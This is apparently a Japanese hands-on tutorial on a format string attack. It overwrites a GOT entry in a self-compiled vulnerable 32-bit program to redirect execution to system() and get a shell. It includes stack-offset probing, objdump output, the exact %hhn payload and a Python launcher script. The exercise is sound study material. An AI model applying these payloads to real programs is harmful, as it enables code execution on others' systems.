Format String AttackでGOTを上書きしてみた

こんにちは。今回はFormat String AttackでGOTを上書きすることによって、プログラムの通常動作では行われないsystem関数を呼び出してみたいと思います。

今回の環境

Ubuntu 14.04 TLS 32bit
コンパイル方法 gcc -z execstack foramt_vuln.c -o format_vuln

今回使用するプログラム
このプログラムは引数に任意の値をとれ、その引数がprintfの書式引数にそのまま渡っているためFormat String Attackの脆弱性があります。またkeyの値は通常は1であるので、通常動作ではsystem関数は実行されない。


まず初めにFormat String Attackとはどんな脆弱性なのか?
printf()やsyslog()等のライブラリの書式編集機能を悪用し、実行中のプログラムのメモリを読めたり、書き換えたりできる脆弱性です。



実際にGOTを書き換えてみる。
ここから本題です。GOTをsystem関数の関数実行直前に書き換え!key(cmp)の比較する部分を迂回するというのが、今回の目標です。

まず適当に複数の%xを引数にとり、どこにbufの先頭があるかを調べます。

$ ./format_vuln 'AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x'
AAAAbfdfc368.64.bfdfc0b4.bfdfc054.1.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78

出力からbufの先頭のオフセットは6ということがわかった。

次にGOTの書き換えたいアドレスを保持しているアドレスを見つける。

$ objdump -D ./format_vuln |grep "@plt>:" -A1
08048390 <printf@plt>:
 8048390:	ff 25 0c a0 04 08    	jmp    *0x804a00c
--
080483a0 <puts@plt>:
 80483a0:	ff 25 10 a0 04 08    	jmp    *0x804a010
--
080483b0 <system@plt>:
 80483b0:	ff 25 14 a0 04 08    	jmp    *0x804a014
--
080483c0 <__gmon_start__@plt>:
 80483c0:	ff 25 18 a0 04 08    	jmp    *0x804a018
--
080483d0 <exit@plt>:
 80483d0:	ff 25 1c a0 04 08    	jmp    *0x804a01c
--
080483e0 <__libc_start_main@plt>:
 80483e0:	ff 25 20 a0 04 08    	jmp    *0x804a020
--
080483f0 <putchar@plt>:
 80483f0:	ff 25 24 a0 04 08    	jmp    *0x804a024
--
08048400 <strncpy@plt>:
 8048400:	ff 25 28 a0 04 08    	jmp    *0x804a028

この結果からputcharのGOTアドレスを書き換えれば、 putcharが呼ばれた際に書き換えた値にjumpすることが可能になる。

結果
'\x24\xa0\x04\x08\x25\xa0\x04\x08\x26\xa0\x04\x08\x27\xa0\x04\x08%127c%6$hhn%246c%7$hhn%127c%8$hhn%4c%9$hhn’を引数にとるとputcharのアドレスを比較を迂回する丁度良い位置(今回の場合は0x804858f)jumpができshellを起動できる。

実際に上の引数を取り、format_vulnを実行するコードを書いてみる。

#format.py
from subprocess import Popen,PIPE

buf='\x24\xa0\x04\x08\x25\xa0\x04\x08\x26\xa0\x04\x08\x27\xa0\x04\x08%127c%6$hhn%246c%7$hhn%127c%8$hhn%4c%9$hhn'
 
p = Popen('./format_vuln',stdin=PIPE)
p.stdin.write(buf)


このコードを実行してみる。

$python format.py 
pugichan@ubuntu:~/FORMAT$ Invalid argument number
uname -a
Linux ubuntu 3.16.0-34-generic #45~14.04.1-Ubuntu SMP Tue Mar 24 11:13:52 UTC 2015 i686 i686 i686 GNU/Linux


shellが起動できコマンドが実行できていることがわかる。